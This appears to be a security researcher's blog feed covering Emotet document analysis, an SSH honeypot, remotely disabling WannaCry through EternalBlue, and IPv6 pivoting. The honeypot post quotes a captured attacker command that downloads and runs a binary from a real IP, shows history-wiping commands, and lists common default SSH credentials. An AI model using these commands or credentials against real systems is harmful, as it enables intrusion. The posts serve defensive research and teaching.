elektr0ninja

[elektr0ninja]

learning Cyberjutsu

[elektr0ninja]

My fight with QEMU in order to run a Win10 VM inside an ESXi guest...

[elektr0ninja]

Ez nyomokban Elektr0Ninja-t tartalmaz... :)

[elektr0ninja]

Megnéztem ezt a hajszárítós dolgot közelebbről, hogy nektek már ne kelljen.

[elektr0ninja]

This script lets you mass-process Emotet weaponized office documents: Extract URLs, download the binaries, calculate the hashes.

[elektr0ninja]

I’ve been busy with the incident response for the latest Emotet malspam campaign these days and processed 200+ weaponized office documents, so I wrote a YARA rule for these docs.

[elektr0ninja]

Man-in-The-Middle for Malware Analysis

A wave of Malspam spreading Emotet variants hit us this week and made me further optimize the process of capturing the download URLs from the weaponized office documents. These documents contain a macro which runs automatically as the document is opened. Due to the obfuscated code, the most straightforward way to get the URLs was letting the macro inject them to inetsim.

Previous manual hybrid analysis pointed out that the VBA actually calls cmd and/or powershell to download the malware executable, which gave me the idea to insert a layer between the VBA macro and the OS. As we know, if we invoke the “cmd” command, it will be first searched in the actual working directory then in the directories defined by the %PATH% environment variables, and whenever it is found, it will be executed. But for “cmd” windows searches three types of executables: cmd.bat, cmd.com and cmd.exe. Whichever is found, it will be executed. So the idea is to create a cmd.bat and a powershell.bat in a directory somewhere in %PATH% before the OS native cmd.exe and powershell.exe can be found.

I decided to use my users home directory, where I created the following files:

They are very simple batch files, they simply dump their command line parameters to params.txt and then open it using notepad. I call them Advanced Executable Proxy for Malware Analysis (AEPMA), because it is also possible to pass the command line parameters to the real cmd.exe and powershell.exe if needed, so they act like a Man-in-The-Middle Proxy for these executables.

Finally I added the directory “c:\users\user” to the beginning of the %PATH% environment variable in order to make sure they are executed if no absoulte paths are used in the downloader VBA scripts.

The expected behavior is that after opening the weaponized document, notepad should be pop up with the commands or scripts used for downloading the malware executable itself. The video above shows how effective this small “hack” is.

[elektr0ninja]

Just p0wned this with the colleagues, it was great fun. The first few flags were easy, but for the final step I needed to polish my gdb-ninjutsu.

[elektr0ninja]

We have a podcast about IT Security in hungarian. It is worth learning hungarian. :)

[elektr0ninja]

Top 100 ssh creds and more

I put a cowrie ssh honeypot on one of my systems in order to gather a username+password list which is used in dictionary attacks against ssh.

I tuned cowrie to let anyone in after a random number of tries between 10 and 20, but after I publish this article, it will be raised up to 100 in order to see more variations.

You can use this list to scan your own IOT devices if they have any of these as a factory default and change it or disable external ssh access if it is hardcoded.

count [username/password]

12686 [admin/1234]    825 [22/ubnt]     73 [1234/1234]     32 [admin/admin]     27 [root/root]     24 [ubnt/ubnt]     20 [root/!@]     20 [ftptest/ftp]     19 [root/000000]     18 [root/password]     18 [admin/password]     17 [root/123456]     16 [root/admin]     15 [pi/raspberry]     15 [admin/default]     14 [pi/raspberryraspberry993311]     12 [root/wubao]     12 [root/0000]     12 [applmgr/applmgr]     11 [root/welc0me]     11 [root/root123]     11 [root/openelec]     11 [root/abcd1234]     11 [root/111111]     11 [mc/mc]     10 [root/p@ssw0rd]     10 [root/12345]      9 [root/admin!@]      9 [root/admin123]      9 [root/1qaz2wsx]      9 [root/1234]      9 [admin/admin1]      8 [root/system]      8 [root/raspberry]      8 [root/calvin]      8 [root/123]      7 [root/test]      7 [root/raspberrypi]      7 [root/dreambox]      7 [root/default]      7 [root/1q2w1q2w]      7 [root/12345678]      7 [root/123456789]      7 [root/0.123]      7 [root/00000000]      6 [root/ubnt]      6 [root/root@123]      6 [root/!QAZ2wsx]      6 [root/]      6 [root/1]      6 [root/1234567]      6 [admin/admin1234]      6 [admin/12345]      5 [user/1]      5 [test/test]      5 [sysadmin/1qaz2wsx]      5 [support/support]      5 [root/xmhdipc]      5 [root/uClinux]      5 [root/seiko2005]      5 [root/qwe123]      5 [root/q1w2e3r4]      5 [root/passw0rd]      5 [root/live]      5 [root/demo]      5 [root/cisco]      5 [root/asd123]      5 [root/alpine]      5 [root/admins]      5 [root/abc123]      5 [root/654321]      5 [root/1q2w3e4r]      5 [root/1q2w3e4r5t]      5 [root/123qwe]      5 [root/12345!@#$%]      5 [root/00000]      5 [guest/guest]      5 [admin/admin123]      4 [user/user]      4 [ubuntu/ubuntu@1234]      4 [root/Zte521]      4 [root/waldo]      4 [root/trustno1]      4 [root/toor]      4 [root/superuser]      4 [root/superman]      4 [root/siemens]      4 [root/rpitc]      4 [root/root1234]      4 [root/r00tr00t]      4 [root/qwertyuiop]      4 [root/qwerty123456]      4 [root/qazwsxedc]      4 [root/q1w2e3r4t5]      4 [root/public]      4 [root/p@ssword]      4 [root/P@ssw0rd]      4 [root/password1]      4 [root/king]      4 [root/changeme]

It also logs the shell command activity of the attacker. As learned in the school, the first action is usually the deactivation of the shell command history in order to cover the tracks:

CMD: unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0; Command found: unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH Command found: history -n Command found: export HISTFILE=/dev/null Command found: export HISTSIZE=0 Command found: export HISTFILESIZE=0

After the command history is disabled, the next step is to gather some info about the system:

CMD: uname Command found: uname CMD: ps -x Command found: ps -x CMD: cat /proc/cpuinfo Command found: cat /proc/cpuinfo CMD: free -m Command found: free -m

Having all these information helps the attacker to find out what kind of system she is working on and to decide if escalation of privilege is possible/needed. They will also try if the computer is able to connect to remote systems, probably in order to fetch further tools for establishing persistence or to test if they are in a honeypot:

Some attackers stop here and disconnect due to failed outbound communications. I did not allow the outbound connections in the cowrie configuration. Some of them try to establish persistence using this command sequence. The file “ys808e” is a statically linked ELF executable, which is recognized by some of the AV engines in virustotal as malware.

executing command "#!/bin/sh PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin wget http://157.52.156.37/ys808e curl -O http://157.52.156.37/ys808e chmod +x ys808e ./ys808e

I’m going to analyze it in my malware lab later.

[elektr0ninja]

Hack the WanaCry off the system

WannaCry and WanaCrypt0r is so 2017, as MS17-010 should be patched like zillions of weeks ago, but there are always some hidden unofficial, often abandoned systems being vulnerable for EternalBlue on the corporate network. They once got WanaCryptor and since then they are scanning the network against potential victims trying to infect further.

In order to get rid of them, I first installed a dionaea SMB honeypot into the network and waited the infected hosts to appear. After a while I had a nice list of IPs scanning the network for SMB shares. The idea was to stop them spreading the malware without causing any service interruption. Solutions like changing the default gateway to drive them against the wall, or to shutdown or crash the system are not feasible. DoS is a no-go.

When I was younger I often cleaned infected machines manually, just by finding the malware process, suspend or kill it, remove the executable, remove the persistence etc. I was curious if it can be done remotely, so I launched msfconsole on my kali box, loaded the exploit and the correct payload:

Targeted an IP from the honeypot report and run the exploit gave me a nice reverse meterpreter session:

Ok, now let’s have a look on the network activity of this system:

Look at that! It is scanning the network against tcp/445 smb connections. The masked IPs are random IP addresses. Note the scanning process name, mssecsvc.exe. Some google research confirmed that this is the worm that spreads the WanaCrypt0r. Enumerating services shows that the service name is “mssesvc2.0″:

It seems to be stoppable, so let us stop it:

Very good. The network status can show if it have stopped its malicious activity:

Hey, look at that! It stopped scanning. Excellent. Now the next step is to make sure that it will not be started again. Removing the service or the executable will be no solution, because it will be infected again. They executable should be staying on where it is, but it must not run. So I will ruin it by overwriting its content with an arbitrary string. In this example I will put a “1″ into the exe file.

The executable was not visible at first, but I remembered from the golden age of manual cleaning of infected computers that files can be protected from modification and even from showing up in dir listings using the attrib command. Running attrib *.exe revealed that the mssecsvc.exe and tasksche.exe have the S flag set, which renders them system files. It also means that I will not be able to overwrite them:

Exactly as I expected. Fortunately I have nt/system privileges, so the system flag can be removed using the attrib command:

It is now a regular file and it is displayed with the dir command as well. Look at the file size and the creation date. This host was infected at 12/03/2018. Ok, quickly corrupt this file and make it unusable:

Seems much better. Now it’s time to put back all the protections in order to avoid reinfection:

R,S,H flags mean Read Only, System and Hidden. As you can see, I am not able to write the file any more. Finally let’s try if the service can be started:

Wonderful! The worm has been disabled on this system. However, the MS17-010 hole is still open, so when an infected host tries to spread the worm, it will not be able to overwrite the corrupted executable file. Due to this file is hardcoded into the worm, it will not be able to infect this computer again.

Don’t forget to corrupt the other S-flagged executable, the “tasksche.exe” as well, which is the ransomware itself. It is disabled by the DNS kill-switch, but it is definitely not a good idea to keep it runnable on the filesystem.

Depending on the OS version it is also possible to disable the usage of SMBv1 in order to mitigate the vulnerability. And you can always leave a nice message on the desktop of all users, in order to make the system patched.

[elektr0ninja]

guerilla marketing ;)

[elektr0ninja]

Just finished this one. It was great fun.

[elektr0ninja]

Vaccinating a Windows 7 machine against malware, part 1

Trying to bypass the Anti-VM / Anti Debug mechanism built into the malwares I analyse in my VM Lab gave me the idea to vaccinate a Win7 OS running on a physical hardware as if it were a VM or as it were packed with various debugging and analysing tools.

The idea was to sprinkle the registry with keys the bad guys usually look for, then to create directories and files which are tested for existence, to create fake services and so on.

For reference I did an al-khaser run before modifying the system:

It looks very green. The Disk Space check failed even on the real HW, due to the small HDD of this lab machine.

After running my script I expect the detection of VirtualBox, VMWare and Wine. Let’s see, what happened:

Much better, but not perfect. The next part is to test if some malware from my repository panic and flee seeing these. I’m afraid this is not enough. I guess I have to go deeper: to change the MAC, the BIOS Date, etc.

To be continued...

[elektr0ninja]

Pentesting a remote IPv6 target from an IPv4 network

This is the first time I have to pentest a remote IPv6 network from my office IPv4 network, so I decided to take a note on how to achieve the connectivity. To make it a little more complex, the remote network is only available via a VPN connection, and I have to use a windows machine to maintain the VPN connection. The target system is not available directly from the VPN, I have to use a jumpserver. Fortunately it is a linux jumpserver, so I can use it for port forwarding. I had no idea how to connect to IPv6 addresses over this tunnel, so I googled a lot and found that socat is a very good friend of mine. It can listen on a tcp4 port and forward to a tcp6 port. The plan is to combine static port forwarding on the jump server, establish a socat tunnel between the jumpserver and the tcp/22 port of the ipv6 target machine, connect these two tunnels together, and finally establish a dynamic port forwarding ssh connection between my kali VM and the target machine through the above mentioned combined tunnel. If this works, than I only have to configure proxychains to use the dynamic port forwarding ssh connection as a socks proxy and I can directly access the target machine from my kali VM.

I sketched it on the tactical whiteboard:

As you can see, the green VPN is maintained between the remote network and my windows computer, the kali VM connects to the ssh jump server using its NAT-ed vmnet adapter (red), on the jumpserver the socat tunnel listens on a local tcp4 port and forwards packets to the target ipv6 server (black). After all of these are established, the kali VM connects directly through the tunnels to the target host  (black dotted line) and provides dynamic port fw.

Sounds good, but I was afraid of the differences between the MTU in IPv4 and IPv6, and of course I was aware that I will have only tcp connection, no udp, no icmp.

Let’s give it a try. The green VPN is transparent let’s concentrate on the ssh and socat magic.

1) Establish the red tunnel from kali_local(8080) to jumpserver_local(5555)

Ok, now the tcp/8080 is now connected directly to the jumpservers tcp/5555.

2) On a separate terminal log on to the jumpserver and establish a fixed socat tunnel from tcp4_jumpserver_local(5555) to tcp6_target(22):

Looks good. Now the black tunnel is set up. If I drop a packet on my kali VM’s 8080 port, it goes through the red and black tunnels directly to the target systems tcp/22.

3) Let’s introduce some dynamic port forwarding in order to access any port and system in the target network.

I connect to my kali VM’s local tcp/8080 with ssh and if it works as assumed, I will be logging into the target IPv6 computer. Let’s see...

Look at that! Now due to the dynamic port forwarding, the local tcp/9090 port functions as a socks proxy, and I can access any tcp port on the remote system. I configure proxychains to use this port as a socks4 proxy service:

And now the black dotted connection from the sketch is ready to use. Let’s grab some banners:

Wonderful. Now we are able to conduct the penetration test against the remote IPv6 target from an IPv4 network using even only IPv4-capable tools.

[elektr0ninja]

Browser notifications can leak WhatsApp and Telegram messages even through locked screensaver

Today I arrived back to my workstation after an afternoon coffee, and suddenly a browser notification appeared on the top right corner of the locked screen with a WhatsApp message.

I am using WhatsApp Web and also Telegram Web in Firefox on a Debian 8 desktop, lightdm and xscreensaver 5.30.

After some googling, I found the following statement:

“ Some window managers allow programs to pop windows above  xscreensaver, and some do not.   Every few minutes, xscreensaver will raise itself above any other  windows that have popped up, but it can't prevent other programs from  popping up their windows in the first place.  So they will appear for  a little while, and then be hidden.   If this is happening and it bothers you, switching to a  different window manager may fix it.   You might consider this a bug in your window manager (though some  consider it a feature.)  If you think it's a bug, then the magic  incantation to repeat to the author of your window manager is as  follows: "you should be mapping windows with XRestackWindows instead  of XRaiseWindow, to ensure that managed windows always appear below  override-redirect windows."   It is also possible that the application that is popping up the  window is doing so using an override-redirect window of its own.  (This is currently the case with GTK_WINDOW_POPUP style dialogs.)  In that case, it is impossible for either xscreensaver or the window  manager to prevent those windows from popping up, since  override-redirect windows, by definition, bypass the window manager.  So, there's no way around that without either: A) changing those  applications to use normal windows instead, or B) creating a new  extension to X11 itself.  “

Source: https://www.jwz.org/xscreensaver/faq.html#popup-windows

So it looks like it is wise to disable the popup notifications for any website and application you would not like to disclose your secrets when you are away and your screen is locked.

[elektr0ninja]